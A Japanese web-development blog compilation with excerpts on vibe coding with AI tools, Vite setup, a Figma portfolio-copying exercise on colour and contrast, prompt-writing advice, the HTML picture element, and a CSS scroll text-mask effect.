「ラテラル×ロジカル」がバイブコーディング成功の鍵 バイブコーディングを正しく活用するためには、ラテラルシンキング（水平思考）とロジカルシンキング（論理思考）のバランスが重要です。 フェーズ活用する思考法内容例発想・指示出しラテラル「いい感じで表示して」「もっとスムーズに」など感覚的なプロンプト出力結果の評価ロジカル条件分岐、変数の責務、命名の妥当性などを確認改善・再プロンプトラテラル→ロジカルの往復指示を洗練し、最終的な実装の質を高める AI時代の学び方とは、「ノリで作って、論理で磨く」プロセスそのものなのです。 なお、このラテラルとロジカルを実際に動かすときの道具が、類推と推測です。AIに投げる前に「どこから何を借りてくるのか」を自分の言葉にできると、返ってきたコードの評価も速くなります。詳しくは 推測と類推の使い方 を参照してください。 ClaudeCode・Cursor・Copilot｜AIツールの使い分け ClaudeCodeとは？注目のAIコーディング支援 ClaudeCodeは、Anthropic社が提供する agentic coding ツールです。コードベースを読み取り、ファイルを編集し、コマンドを実行するところまでを担い、ターミナル・IDE拡張・デスクトップアプリ・ブラウザで利用できます。自然言語でリポジトリ全体に指示を出すことができる、いわば"構造化されたバイブコーディング"の代表例です。 文脈理解力が高く、自然な日本語から高精度なコードを生成 大量のコードベースも一括でレビュー・リファクタが可能 設計意図や背景を踏まえたコミュニケーションが得意 たとえば「この処理、ReactのuseEffectで書き直せる？」といった具体的かつ高度な要望にも丁寧に応えてくれるのが強みです。 CursorやCopilotとの違いとすみ分け ツール名特徴向いている学習者タイプGitHub Copilot補完ベースのVSCode統合。スニペット生成が速い初学者〜中級者、IDEベースで学ぶ人CursorAnthropic・OpenAI・Googleなど複数社のモデルから選べる。コードの会話・編集が快適中級者以上、設計思考重視の人ClaudeCode高精度の文脈理解。解説・レビューに強い理解重視・コードの意味を深掘りしたい人 AIツールにはそれぞれ特徴がありますが、「理解」「速さ」「補完精度」など自分の学習目的に合わせて使い分けることが重要です。 ClaudeCodeでできること一覧 コードの生成（関数、UI、API処理など） コードレビューとリファクタリング 設計のアドバイス（設計意図を日本語で説明可） 初心者向けに「このコードの意味を教えて」といった質問にも対応 「コードを書く力」よりも「コードを読んで理解する力」こそが、現代のスキルとして重視されるようになってきています。 AIを使っても学べるのか？→ "使い方"次第で爆速成長 NGな使い方 出力コードをそのままコピペして終わり 理解せず「動いたからOK」で片付ける AIが間違っていても検証しない OKな使い方 出力を読んで「なぜこの書き方になったか」を考える Claudeに「改善案」や「別解」を聞いて比較する 自分で書いたコードをレビューさせる AIは正しく使えば、まるで"家庭教師のように"あなたの理解を深めてくれる存在になります。 まとめ｜バイブで始めて、ロジックで仕上げる ClaudeCode・Copilot・Cursor──これらは単なる自動化ツールではなく、学習を支援する強力なパートナーです。 バイブコーディングは、初心者にも上級者にも開かれた新しいコーディングスタイルです。重要なのは、AIを"先生"として使うのではなく、"相棒"として共に考える存在として活用すること。ノリだけでは終わらせず、出力されたコードにしっかりと目を通し、自分の頭で理解し、整える力を持つことが大切です。 「ラテラルに発想し、ロジカルに検証する」。 AIを正しく使えば、理解力・設計力・実装力のすべてが短期間で伸びていきます。 ズルではなく、「成長するための近道」。 それが、AIツールとの正しい付き合い方です。 関連リンク ChatGPTでFigma模写コーディングを効率化する方法 👉 この記事はAI時代のWeb制作完全ガイドの一部です。AIコーディングからAI検索最適化まで、関連記事を体系的にまとめています。 よくある質問（FAQ） Q. AI時代でもコーディング学習は必要ですか？ はい。AIがコードを生成できる時代でも、生成されたコードの品質判断・デバッグ・セキュリティ確認には基礎知識が不可欠です。AIを「使いこなす」ためにこそ、HTML/CSS・JavaScript・アルゴリズムの基礎を理解しておく必要があります。 Q. AIコーディングツールの学習コストは高いですか？ Claude Code、Cursor、GitHub Copilotなどの主要ツールは、基本的なプログラミング知識があれば数時間で使い始められます。ただし、効果的なプロンプトの書き方やレビューのコツを身につけるには実践的な経験が必要です。 Q. vibe codingだけで実務レベルの開発はできますか？ プロトタイプや個人プロジェクトであればvibe codingだけでも形にできます。しかし、チーム開発やプロダクション環境では、コードの保守性・セキュリティ・パフォーマンスを判断する能力が求められるため、基礎力との併用が前提です。 ### [Viteの特徴・導入・使い方ガイド｜React・Vue対応の爆速ビルドツール](https://codequest.work/vite-feature-setup-guide/) Viteとは？高速なESMベースのビルドツール Vite（ヴィート）とは、モダンなフロントエンド開発のために設計された高速なビルドツールです。Vue.jsの作者である Evan You 氏によって開発され、webpackやParcelに代わる新しい選択肢として注目されています。 最大の特徴は、ESM（ECMAScript Modules）ベースで開発環境が構築されており、開発サーバーの起動や更新反映が圧倒的に速いという点です。 vite（ヴィート）の読み方・名前の由来 「Vite」はフランス語で「速い」という意味があり、読み方は「ヴィート（/vit/）」です。この“速さ”こそがViteの核であり、開発効率を極限まで高めることを目的に設計されています。 Viteの主な特徴とメリット5選 Viteが多くの開発者に支持されている理由を、以下の5つにまとめました。 🔥 超高速な起動と更新反映→ バンドルを事前に行わず、必要なモジュールだけをESMでオンデマンド配信するため、起動も変更反映も驚くほど速い。 ⚡ 効率的なHMR（ホットモジュールリプレース）→ 変更部分だけを差し替えるため、ライブプレビューがリアルタイムに近い感覚で反映されます。 🧱 設定がシンプル→ vite.config.js は非常に簡潔で、webpackに比べて学習コストが大幅に低いのが特徴。 📦 最適化された本番ビルド→ 本番ビルドは Rollup をベースに構築されており、軽量で最適なバンドルが自動生成されます。 🔄 プラグインの柔軟性と対応範囲の広さ→ React/Vue/Svelte などのフレームワークに特化した公式テンプレート・プラグインが豊富に用意されています。 開発環境に導入する方法（Reactテンプレート、npm/yarn対応） ViteはCLIから簡単にプロジェクトを作成できます。例として、Reactアプリのテンプレートを使った導入方法を紹介します。 # npm npm create vite@latest my-app -- --template react # yarn yarn create vite my-app --template react その後の手順： cd my-app npm install npm run dev これだけで、Vite開発環境が数十秒で起動します。 ViteとWebpackとの違い｜どちらを選ぶべきか 項目ViteWebpack起動速度非常に速い比較的遅いHMR差分更新が高速全体の再読み込みが多い設定の難易度簡単柔軟だが難解バンドルRollupベース（効率的）Webpack独自ローダー学習コスト初心者に優しい豊富だが難しい webpackよりも速い理由と設定の簡潔さ ViteはESMベースで動作しているため、開発時に事前バンドルを必要としません。変更が加えられたファイルだけを即座にブラウザに送り、更新する仕組みのため、待ち時間がほぼゼロです。 また、vite.config.jsの設定もシンプルで、初心者でもすぐにカスタマイズ可能。webpackのように複雑なローダーや設定周りで苦しむことがありません。 Viteの対応フレームワーク一覧（React, Vue, Svelteなど） Viteは以下の主要なフレームワークをはじめ、多くのプロジェクトに対応可能です。 フレームワーク対応状況備考React✅JSX対応、公式テンプレートありVue（2/3）✅Vue 3が標準、2系も対応可Svelte✅@sveltejs/vite-plugin-svelte 利用Preact✅軽量React互換として人気Lit✅Web Componentsと組み合わせやすいSolid✅JSX高速レンダリングフレームワーク対応 よくある質問（FAQ） Q. Viteはフレームワークですか？ A.いいえ、Viteはフレームワークではなく、ReactやVueなどのフレームワークと組み合わせて使うビルドツール（開発支援ツール）です。 Q. Viteはどんな人におすすめですか？ A. 開発環境の起動が遅くて困っている方 Webpackの設定が難しいと感じている初心者 React・Vue・Svelte などのモダンJSフレームワークで効率的に開発したい方 Q. ViteとWebpackの大きな違いは？ A. Viteは開発中にESM（モジュール）をオンデマンドで配信するため圧倒的に速い Webpackは全体を一度バンドルしてから提供するため、初回や変更時に待ち時間が発生しやすい Q. Viteの読み方は？名前の意味は？ A.「ヴィート（/vit/）」と読みます。フランス語で「速い」を意味し、その名の通り開発の速さを重視した設計思想が反映されています。 🧩 おわりに Viteは「速さ」「シンプルさ」「柔軟性」を兼ね備えた次世代ビルドツールです。React/Vueをはじめとしたモダンフレームワークを快適に使いたい方、webpackの設定で悩んでいた方にとって、Viteは開発効率を劇的に改善する選択肢になります。 まずはViteで小さなプロジェクトを始めてみて、その圧倒的な快適さを体感してみてください。 関連記事：Viteとは？→ 基本から解説した入門記事はこちら ### [Figma模写 #7｜3色で配色センスを鍛えるポートフォリオ模写](https://codequest.work/figma-mosha-07-color-design/) Figma模写 #7 は、ベース・カード面・アクセントの3色だけで組まれたポートフォリオを模写して、「どの色をどれだけの面積に置くか」を判断できるようにする課題です。色数を絞ると装飾でごまかせなくなるため、配色そのものが練習対象になります。 題材は Figma Community で公開されている無料テンプレート「Bentolio」です。JavaScript は使わず、HTML と CSS Grid だけで再現します。この記事では色の値・面積比・コントラスト比をすべて実測値で示し、最後に「できた」と自分で判定するための合格ラインまで用意しました。 項目内容難易度Figma模写シリーズ #7所要時間約3〜4時間（実装量から見積もった目安。計測値ではありません）使う技術HTML / CSS Grid / Flexbox（JavaScriptなし）題材Bentolio（Figma Community・CC BY 4.0）ゴール3色の面積配分とコントラストを自分で判定できる状態 使用するFigmaテンプレート 2026年8月2日に実ブラウザで開いて確認したところ、テンプレートは公開されたままでログインなしでも閲覧できました。ページ上の表記は次のとおりです。 項目ページ上の表記ファイル名Bentolio | Portfolio Design Template作者Abdul Rauf（@lilcoderman）種別デザインファイル（Webサイトテンプレート）ライセンスCC BY 4.0説明文Bentolio is a clean one-page personal portfolio designed using the popular Bento Grids layout. 説明文にある「Bento Grids」は、弁当箱の仕切りのように大小の箱を敷き詰めるレイアウトの呼び名です。1枚のカードが1つの情報を持ち、カード同士は余白だけで区切るという前提を先に頭に入れておくと、CSS Grid への落とし込みが早くなります。 ライセンスの CC BY 4.0 は、作者のクレジットを示せば改変も再配布もできる条件です。模写した成果をポートフォリオとして公開する場合は、「Bentolio by Abdul Rauf を模写」のように出典を書いておけば問題になりません。 Figmaでテンプレートを開く 万一このファイルが非公開になっていた場合は、Figma Community のポートフォリオテンプレート一覧から「淡い単色系・カードを敷き詰めた1ページ構成」のファイルを選べば、この記事の手順はそのまま使えます。色の値だけ自分で拾い直してください。 模写のルールと進め方 HTML と CSS のみ（JavaScript は使わない） 色・余白・文字サイズの再現を最優先にする 写真とアイコンは差し替えてよい（ただし色味は後述の条件を守る） レスポンシブ対応は任意（時間があれば挑戦する） 順番を守るだけで手戻りが大きく減ります。色を先に確定させてから組むのがこの課題の肝です。 Figma でテンプレートを開き、ベース・カード面・アクセントの3色をスポイトで拾って CSS のカスタムプロパティに書き出す HTML の骨格だけを先に書く（header / main のカード群 / footer） CSS Grid でカードの配置を決める。この時点では中身を入れず、背景色と余白だけで格子を再現する 各カードにテキストと画像を流し込む 後述の「完成条件」で自己判定する HTMLとCSSの構成 構造そのものは素直です。ヘッダーとフッターを外に出し、真ん中の6枚のカードだけをグリッドで扱います。 <header> ロゴ ＋ ナビ3リンク <main> カードA：キャッチコピー カードB：人物写真 カードC：作品プレビュー カードD：自己紹介文 カードE：Contact me（CTA） カードF：プロジェクト名リスト <footer> SNSリンク カードの配置は grid-template-areas で名前を付けると、あとから入れ替えるときに CSS だけで済みます。骨格は次の形です（値は自分で詰めてください）。 .bento { display: grid; grid-template-columns: /* 3列ぶんの比率を決める */; grid-template-areas: "hero photo works" "about cta works"; gap: /* カード間の余白。ここが唯一の区切りになる */; } .card-hero { grid-area: hero; } .card-photo { grid-area: photo; } グリッドの基礎に不安があれば、CSS実装テクニック集でレイアウト系の記事を先に確認しておくと詰まりにくくなります。 セクション別の実装ポイント ヘッダー 左にロゴ（テキスト）、右に PROJECTS / ABOUT / CONTACT の3リンク 固定ヘッダーではなく、カードと同じ面の上に自然に乗っている ナビは大文字＋letter-spacing をわずかに広げると原本の質感に近づく ヒーローカード 3行のキャッチコピーのうち2語目だけがイタリック。この強弱が原本の印象を決めている 元のフォントが手元に無い場合、Google Fonts の Outfit や Poppins が代用になる（どちらも2026年8月2日時点で配信を確認） 人物写真のカード カードと同じ border-radius を画像側にも当てて、角の丸みを揃える object-fit: cover を使うが、高さ（または aspect-ratio）を与えないと切り抜きは起きない。詳しくは「つまずきポイント」に実測を載せた 作品プレビューとプロジェクト名リスト 右列は1枚のカードの中に、画像1枚＋プロジェクト名4件が縦に積まれている 項目の区切りは border-bottom の細い線。線の色はカード面より少しだけ濃いピンクで、黒い罫線は使われていない CTAカード「Contact me」 画面内でアクセントカラーを使っているのはこの1枚だけ。ここを増やすと配色が崩れる 文字は黒。白抜きにするとコントラストが足りなくなる（後述） 右上の矢印アイコンが「押せる」ことを示している。色だけに頼っていない点が学びどころ フッター INSTAGRAM / TWITTER / LINKEDIN の3つを Flexbox で横並びにするだけ フッターも独立した1枚のカードとして扱う。全体を通してカード以外の面が存在しない 3色の配色を実測で読み解く このデザインは3色で構成されています。上のスクリーンショット（1024×729px）から色を拾った結果が次の表です。 役割カラーコード使われている場所ベース#F9F1F0ページ背景・カードの隙間カード面#FADCD9ヘッダー・各カード・フッターアクセント#F8AFA6Contact me カードのみ 面積比を数えると「60対30対10」にはならない 配色の話では「60対30対10」「70対25対5」といった比率がよく紹介されます。ただしこれは規格や公式ドキュメントに根拠のある数値ではありません。実際にこのテンプレートの画面を1ピクセルずつ3色に分類して数えた結果が次のとおりです。 色画面に占める面積カード面 #FADCD952.4%写真・文字・罫線22.9%ベース #F9F1F014.6%アクセント #F8AFA610.1% 計測方法は、スクリーンショットの全ピクセルを3色のうち最も近いものへ分類し、RGB各成分の差が±14以内のものだけを一致とみなして数えたものです（2026年8月2日実測。JPEG圧縮による誤差を含むおおよその値）。比率を暗記するより、「アクセントを画面内で1箇所に絞る」ほうが再現性があります。実際このデザインでアクセント色を使っているカードは Contact me の1枚だけです。 コントラスト比で見ると文字色の選択肢は狭い WCAG 2.2 の達成基準 1.4.3 Contrast (Minimum)（レベルAA）は、テキストに 4.5対1 以上のコントラスト比を求めています。例外は大きな文字（18ポイント以上、または太字で14ポイント以上）で、この場合は 3対1 で足ります（出典: W3C WCAG 2.2 / 1.4.3・2026年8月2日取得）。同じ規格の コントラスト比の定義式で、上の3色を計算すると次のようになります。 組み合わせ比本文（4.5対1）黒 × ベース #F9F1F018.87合格黒 × カード面 #FADCD916.30合格黒 × アクセント #F8AFA611.67合格白 × アクセント #F8AFA61.80不合格灰 #767676 × カード面3.53不合格 つまりこの淡いパレットでは、文字色は実質「黒に近い色」しか選べません。原本の CTA が白抜きではなく黒文字なのはそのためです。自分で色を変えたときは WebAIM Contrast Checker に背景色と文字色を入れれば同じ比が出せます。 もう1つ押さえておきたいのが面と面の比です。カード面とベースは 1.16 対 1、アクセントとカード面は 1.40 対 1 しかありません。WCAG 2.2 の 1.4.11 Non-text Contrast は「UIコンポーネントや状態の識別に必要な視覚情報」に 3対1 を求めていますが、この配色は面の色だけではボタンの領域を示せない水準です。だからこのデザインは、余白・文字サイズ・矢印アイコンで「押せる場所」を伝えています。模写のときも同じ方針を守ってください。 「なぜこの配色が良く見えるのか」を言葉にできるようになると、次のデザインにも応用が効きます。手順はデザインの言語化トレーニングにまとめてあります。 完成条件（この課題ができたと言える状態） 見た目が「なんとなく似ている」で止めないために、自分で合否を出せる基準を用意しました。5つすべてが満たせていれば完成です。 判定項目合格ライン外れたら疑うところアクセントの絞り込みブラウザを50%に縮小して見たとき、濃いピンクが1箇所だけに見えるボタン・リンク・見出しにアクセント色を散らしていないか文字のコントラスト本文と見出しの組み合わせがすべて 4.5対1 以上文字色に白やライトグレーを使っていないかカードの整列ウィンドウ幅を変えても、同じ行のカードの下端が揃うグリッドに align-items、カードに align-self を入れていないか画像の収まりカード内の写真が伸びず、はみ出さない画像に高さか aspect-ratio を与えているか余白の一貫性カード間の隙間がすべて同じ幅gap 以外に margin で隙間を作っていないか 2つ目の判定は目視では難しいので、完成画面のスクリーンショットを撮り、カラーピッカーで文字色と背景色を拾ってコントラストチェッカーに入れてください。合格ラインを1つでも外したまま次の課題へ進まないのが、模写を上達に変えるいちばんの近道です。 つまずきポイント この課題で実際に手が止まりやすい5点です。1と2は同じ条件を実ブラウザ（Chrome 150 / 2026年8月2日）で組んで測った値を添えています。 症状原因直し方同じ行のカードの高さが揃わないグリッドに align-items: start、または子に align-self が入っている既定値の stretch に戻す。 ### [生成AIは“無能な上司”では使いこなせない理由](https://codequest.work/prompt-thinking-for-ai-users/) ― GPTはあなたの指示次第でバカにも天才にもなる ― はじめに：「生成AIって思ったほど賢くない？」と感じていませんか？ ChatGPTやGeminiなどの生成AIを使ってみたものの、 「同じような答えばかり返ってくる」 「便利だけど、結局自分で直さないと使えない」 「これなら自分でやったほうが早いかも…」 といった感想を持ったことはありませんか？ こうした違和感の原因は、AIの性能が足りないからではありません。実はその多くが、「指示の出し方」つまりプロンプトの質にあります。 GPTは“超優秀な部下”、でも“無能な上司”では機能しない 生成AIは、知識も処理速度も文句なしに優秀です。とはいえ、その力を100%引き出すためには、使う側の意図が明確であることが前提となります。 この関係性は、まるで「超優秀な部下」と「その上司」のような構図です。 たとえ能力が高くても、上司の指示が曖昧であれば、部下は成果を出せません。同様に、AIもあいまいなプロンプトには応えようがないのです。 よくある“ダメな指示”の例 私たちが人間同士で仕事をするときも、指示があいまいだと作業は進みません。生成AIも同じで、「何を、どうしてほしいか」がはっきりしていないと、出力の精度は上がりません。 以下に、実際の業務でありがちな指示と、それをAIにも通じる「良い指示」に言い換えた例を挙げます。 ❌ 悪い指示✅ 良い指示資料まとめておいて来週の営業会議で使う資料として、主要3社の売上推移をグラフ付きでA4一枚にまとめてください。納期は木曜午前です。見やすくしてこのExcel表を金額順に並び替え、重要な項目は太字にし、A4サイズに収まるように整えてください。お客様に返信して○○株式会社の田中様に、納期が1週間遅れる旨を丁寧に伝え、再発防止策も添えてメールでお詫びしてください。 これと同じように、GPTに対しても「ただ質問する」のではなく、意図・条件・目的を含めて具体的に伝えることが重要なのです。 「プロンプトが上手い人」より「業務を理解している人」が強い 世の中では「プロンプト力」という言葉が注目されていますが、それだけでは足りません。 本当に成果を出している人たちは、AIへの指示が上手いのではなく、その仕事の意味や流れを理解しているのです。 たとえばプレゼン資料の依頼ひとつでも： 業務を知らない人「パワポ作って」業務を理解している人「営業部長向けの新商品企画スライドを3枚。競合比較・価格優位性・導入スケジュールを含めて」 このように、「業務の目的」「見せたい相手」「使う場面」を理解している人のほうが、自然と良い指示が出せます。それはAIへのプロンプトでもまったく同じことが言えます。 AIは“問いの鏡”である 生成AIは、あなたの問いの質をそのまま映し出します。 曖昧な問いには曖昧な答えを返し、 精度の高い問いには驚くほど的確なアウトプットを返してきます。 GPTが出す答えは、「AIの賢さ」よりも人間側の思考の精度に大きく左右されるのです。 結論：生成AI時代に必要なのは「良いプロンプト」より「良い上司力」 GPTをはじめとする生成AIは、誰にとってもアクセス可能な「超優秀な部下」です。ですが、それを活かせるかどうかは、「あなたがどんな上司になれるか」にかかっています。 目的を明確にし、条件を整理し、意図を伝える力。つまり、“良い上司力”が生成AI時代の本当の武器なのです。 GPTの返答がいつもイマイチに感じるのは、もしかして“問い”が曖昧だからではありませんか？ 「うまく伝わらない」のは、AIのせいではなく、あなたの思考がまだ整理されていないからかもしれません。 あわせて読みたい 主要生成AIを完全比較！テキスト・画像・動画・音楽の使い分けガイド【2025年版】 よくある質問（FAQ） Q. 生成AIで良い結果を得るコツは？ 具体的な指示を出すことが最も重要です。「いい感じにして」ではなく、目的・対象読者・トーン・文字数・参考例を明確に指定してください。曖昧な指示は曖昧な出力を生みます。上司が部下に仕事を依頼するときと同じ原則です。 Q. プロンプトエンジニアリングと普通の指示の違いは？ プロンプトエンジニアリングは、AIの特性を理解した上で、出力品質を最大化するための構造化された指示設計です。ロール設定（あなたは〜の専門家です）、出力形式の指定（表形式で）、Few-shot例示（例を示す）などの技法を組み合わせて使います。 Q. AIに仕事を任せるとき最も避けるべきことは？ 丸投げして結果を確認しないことです。AIは「もっともらしい間違い」を生成することがあるため、出力のファクトチェックとレビューは必須です。AIを優秀なアシスタントとして使い、最終判断は人間が行う姿勢が重要です。 👉 この記事はAI時代のWeb制作完全ガイドの一部です。AIコーディングからAI検索最適化まで、関連記事を体系的にまとめています。 ### [pictureタグで画像を画面サイズごとに切り替えるレスポンシブ表現【デモ付き】](https://codequest.work/picture-tag-responsive-switch/) picture は、画面幅や対応フォーマットに応じて表示する画像ファイルそのものを差し替えるHTML要素です。同じ絵柄のサイズ違いを選ばせたいだけなら picture は不要で、img の srcset を使います。picture の出番は「絵柄そのものを変えたいとき」と「対応していないブラウザ向けに別形式を用意したいとき」の2つです。 この記事では picture の基本形から、source の書き方で必ず守るべきルール、width や loading をどの要素に書くかまでを、実際のコードで解説します。最後に「本当に切り替わっているか」をブラウザのコンソールで1行判定する手順を置いたので、書いたらそのまま合否を確認できます。 pictureタグとは何か picture は、0個以上の source 要素と1つの img 要素を含み、画面や端末の条件に応じた画像を提供する要素です。ブラウザは source を上から順に評価し、条件に合う最初の1つを採用します。合うものが1つも無ければ img の src が使われます（MDN: picture要素）。 ここで押さえておきたいのは、picture が切り替えているのはCSSの見た目ではなくファイルそのものだという点です。CSSの background-image でも似たことはできますが、その場合は alt を持てず、画像がコンテンツではなく装飾として扱われます。 srcset は解像度切り替え、picture はアートディレクション この2つを混同すると、書かなくてよい picture を書くことになります。判断は「絵柄が変わるかどうか」の一点です。 やりたいこと使う要素誰が選ぶか同じ絵柄のまま、画面や端末に合ったサイズのファイルを落としたいimg の srcset と sizesブラウザに任せる高DPI（Retina）ディスプレイ向けに高解像度版を出したいimg の srcset（2x などの記述子）ブラウザに任せる画面幅によって絵柄そのもの（トリミング・構図）を変えたいpicture と source の media作り手が指示する対応していないブラウザ向けに別の画像形式を用意したいpicture と source の type作り手が指示する 2行目は特に間違えやすいところです。高解像度ディスプレイ向けの出し分けは picture の仕事ではありません。MDNは「DPIの高い（高解像度の）ディスプレイのために高解像度版の画像を提供する場合は、代わりに srcset 属性を img に使用してください」と明記しています。img の srcset に任せておけば、ブラウザはデータ節約モードで低解像度版を選ぶこともでき、media 条件を自分で書く必要もなくなるためです。レスポンシブ全体の中での位置づけはレスポンシブデザイン入門で整理しています。 pictureの正しい用途は3つ MDNが挙げている picture の用途は次の3つです。 アートディレクション — media の条件に合わせて画像を切り抜いたり変更したりする。狭い画面では要素の少ない簡潔な絵柄に差し替える、など 代替画像形式の提供 — WebPやAVIFに対応していないブラウザへ、JPEG/PNGを渡す 通信帯域の節約 — 見る人の画面に最も適合する画像を読み込ませ、ページの読み込みを速くする 3つ目は、狭い画面に大きなファイルを落とさないという意味です。効果を出すには出し分ける先のファイルを実際に軽くしておく必要があり、同じ原寸の画像をファイル名だけ変えて並べても速度は1バイトも改善しません。画像そのものの軽量化は画像圧縮ツールと画像圧縮ツールの比較で扱っています。 基本の書き方と、外せない4つのルール picture は書き方の自由度が低く、外すと黙って動かなくなる箇所がはっきりしています。まず基本形を示し、そのあとで守るべき4点を1つずつ潰します。 基本形 PC・タブレット・スマホの3段で絵柄を差し替える最小構成です。 <picture> <source media="(min-width: 1024px)" srcset="hero-wide.jpg"> <source media="(min-width: 768px)" srcset="hero-mid.jpg"> <img src="hero-square.jpg" width="800" height="800" decoding="async" alt="製品を手に取る利用者"> </picture> 1024px以上なら hero-wide.jpg、768px以上1024px未満なら hero-mid.jpg、それ未満なら img の hero-square.jpg が表示されます。source は終了タグを持たない空要素なので、</source> は書きません。 ルール1: sourceにはsrcsetが必須で、srcは書けない 初学者が最も多く踏むのがこれです。video や audio の中の source は src で書くため、同じ感覚で picture の中に src を書いてしまいます。しかしMDNの source 要素の仕様上、src は「親が picture の場合は許可されない」、srcset は「親が picture の場合は必須」と定められています（MDN: source要素）。 <!-- NG: picture の中の source に src は書けない。この source は無視される --> <source media="(min-width: 768px)" src="hero-wide.jpg"> <!-- OK: picture の中では srcset が必須 --> <source media="(min-width: 768px)" srcset="hero-wide.jpg"> 厄介なのは、これを間違えてもエラーが出ないことです。その source が黙って無視され、常に img の画像が表示され続けます。「なぜか切り替わらない」ときは真っ先にここを見てください。 ルール2: 記述順は「広い条件から」— 一般論ではなく必須 ブラウザは source を上から順に評価し、条件が false ならその要素をスキップして次を評価します。そして最初に一致したものをそのまま採用し、以降は見ません。つまり min-width で条件を書く場合、広い条件を先に書くのは「そうするのが一般的」なのではなく、そうしないと成立しません。 <!-- NG: 768px の条件が先にあるため、1200px でも hero-mid.jpg が採用される。 hero-wide.jpg は永久に表示されない --> <picture> <source media="(min-width: 768px)" srcset="hero-mid.jpg"> <source media="(min-width: 1024px)" srcset="hero-wide.jpg"> <img src="hero-square.jpg" width="800" height="800" alt="製品を手に取る利用者"> </picture> このNG例を実際にブラウザで開いて幅1200pxで確認したところ、採用されたファイルは hero-mid.jpg のままでした。見た目には画像が出ているので、指摘されるまで気づけません。逆に max-width で書くなら、狭い条件から先に並べます。 ルール3: imgは代替であると同時に、描画される本体 img を「条件に合わなかったときの保険」とだけ理解していると、次のルール4でつまずきます。MDNは img が2つの役割を担うと説明しています。 画像の寸法やその他の属性と、表示方法を記述する source 要素で利用可能な画像を提供できなかった場合の代替策を提供する 重要なのは1つ目です。source が当たった場合も、画面に描画されている要素は img のままで、ファイルの中身だけが差し替わります。source は「どのファイルを使うか」を決めるだけで、それ自体が表示される要素ではありません。だから寸法・代替テキスト・読み込み方といった属性は、すべて img 側が担います。 ルール4: alt・width・height・loading・decoding はimgに書く ルール3の帰結として、属性の置き場所が決まります。alt は img に1つだけ書きます。source に alt は書けないので、絵柄が変わっても代替テキストは共通です。どの絵柄でも成り立つ説明文にしておきます。 属性書く場所役割altimg のみ（1つだけ）アクセシビリティと画像検索に必要な代替テキストwidth / heightimg（source にも指定可）読み込み前に縦横比を確保し、レイアウトのずれ（CLS）を防ぐloadingimg のみlazy で画面外の画像の読み込みを遅らせるdecodingimg のみasync でデコード待ちによる描画の詰まりを避けるmedia / typesource のみどのファイルを採用するかの条件 width と height は必ず書いてください。MDNは「height と width を含めると、画像が読み込まれる前にブラウザーが縦横比を計算でき、表示に必要な領域を確保できるため、レイアウトのずれが軽減または防止される」と説明しています（MDN: img要素）。このずれはCore Web VitalsのCLSとして計測される項目で、詳しくはCore Web Vitals改善ガイドにまとめています。 アートディレクションでは絵柄ごとに縦横比が変わるため、img の width / height だけでは差し替え後の比率とずれることがあります。source にも width と height を書けるので、比率が変わる場合はそちらにも指定しておくと確保される領域が正確になります。なお object-fit や object-position で位置や収まりを調整する場合も、指定先は picture ではなく子の img です。 loading="lazy" の扱いには注意が必要です。ファーストビューのヒーロー画像に付けると読み込みが後回しになり、かえって表示が遅くなります。lazy を付けるのは画面外にある画像だけにしてください。ファーストビューの設計はファーストビューの作り方、表示速度全般はページ表示速度の改善ガイドで扱っています。 WebPやAVIFをtypeで出し分ける もう1つの正規用途が、画像形式の出し分けです。source に type でMIMEタイプを書くと、ブラウザはサーバーに問い合わせる前にその形式を表示できるかを判定し、対応していなければサーバーへの問い合わせを省略して次の source へ進みます。 <picture> <source type="image/avif" srcset="hero.avif"> <source type="image/webp" srcset="hero.webp"> <img src="hero.jpg" width="1600" height="900" decoding="async" alt="オフィスで打ち合わせをする2人"> </picture> 新しい形式ほど上に書きます。 ### [テキストマスクアニメーション｜スクロールで文字が浮かび上がる演出をCSSで実装](https://codequest.work/scroll-text-mask/) Webサイトのファーストビューにおいて、印象的な表現はユーザーの視線を惹きつけ、記憶に残る導線を作ります。その中でも、「文字の中に背景が透ける」という手法は、視覚的なインパクトがありつつ、情報の伝達性も高い優れた表現です。 本記事では、スクロールに応じて背景が切り替わり、中央に固定されたテキストにのみ背景が透けて表示される演出「ScrollTextMask（スクロール・テキスト・マスク）」のコンセプトと実装の考え方を紹介します。 視覚的な重なりと“背景の主張” Webにおける「背景」は、単なる装飾ではなく、時にコンセプトそのものを伝える役割を持ちます。ScrollTextMaskでは、その背景がテキストの中にだけ露出する構造を採用することで、背景そのものがメッセージの一部となるという設計思想がベースにあります。 ユーザーがスクロールすることで、背景が変化し、まるで“文字を通して世界を覗き見る”ような体験ができます。このような「意味を持った視覚的構造」は、クリエイティブ系サイトやポートフォリオ、ブランドサイトのヒーロービジュアルに最適です。 技術的アプローチ この演出は、比較的シンプルな技術で実装できます。特別なライブラリを必要とせず、主に以下の3つの仕組みを組み合わせています。 背景画像の切り替え（100vhごとのsection） テキストにだけ背景を透過するCSSプロパティ スクロール量に応じてテキストを動的に制御するJavaScript CSSでは、background-clip: textと-webkit-text-fill-color: transparentを使うことで、テキスト内に背景画像を表示させることが可能になります。さらに、JavaScriptでスクロール位置を監視し、背景画像やフォントサイズの変更を動的に行うことで、視覚的な遷移を滑らかにしています。 デザイン意図とUI体験 このScrollTextMaskは、単なるアニメーションではなく、構造と視線誘導を両立する演出です。テキストは常に中央に固定されており、ユーザーがスクロールすることで背景が変化していきます。 この構造のメリットは、「ユーザーがスクロールすることで意図的に演出の変化を体験できる」という点です。いわば、ユーザーの操作と視覚の変化がシンクロしているため、操作に対するフィードバックが強く、印象に残る体験をつくることができます。 また、テキストに透ける背景が切り替わる際にはフェードアニメーションを加えることで、急激な切り替えによる視覚的ストレスを避けています。結果として、自然で洗練された印象を与えることができます。 カスタマイズの幅と応用例 ScrollTextMaskは、非常に柔軟にカスタマイズ可能です。以下のようなアレンジが考えられます。 背景を動画やSVG、グラデーションに変更する フォントサイズのアニメーション速度や最大サイズの調整 スクロール量ではなく時間経過によって背景を切り替える GSAPなどのアニメーションライブラリと組み合わせる 文字ではなくロゴマークの形で背景を透けさせる さらに、position: fixedでテキストを常に中央に保つことで、他の要素とぶつからず、独立した演出として存在させることができるのも大きな利点です。視線の集中がコントロールしやすいため、訴求力のあるメッセージやスローガンの表示にも適しています。 終わりに 「ScrollTextMask」は、CSSとJavaScriptの基本機能を活用することで、驚くほど印象的なビジュアル体験を生み出すことができる表現です。背景を見せる場所を“テキストの中”という限られた範囲に制限することで、意図を凝縮し、ユーザーの目を自然に誘導できます。 複雑なライブラリや3D処理を使わずとも、Webデザインにおける表現力はまだまだ広がる余地があります。スクロールという最も自然な操作の中に、魅力的なアニメーションや視覚表現を織り込むことで、ブランドの世界観を強く伝えることができるのです。 👉 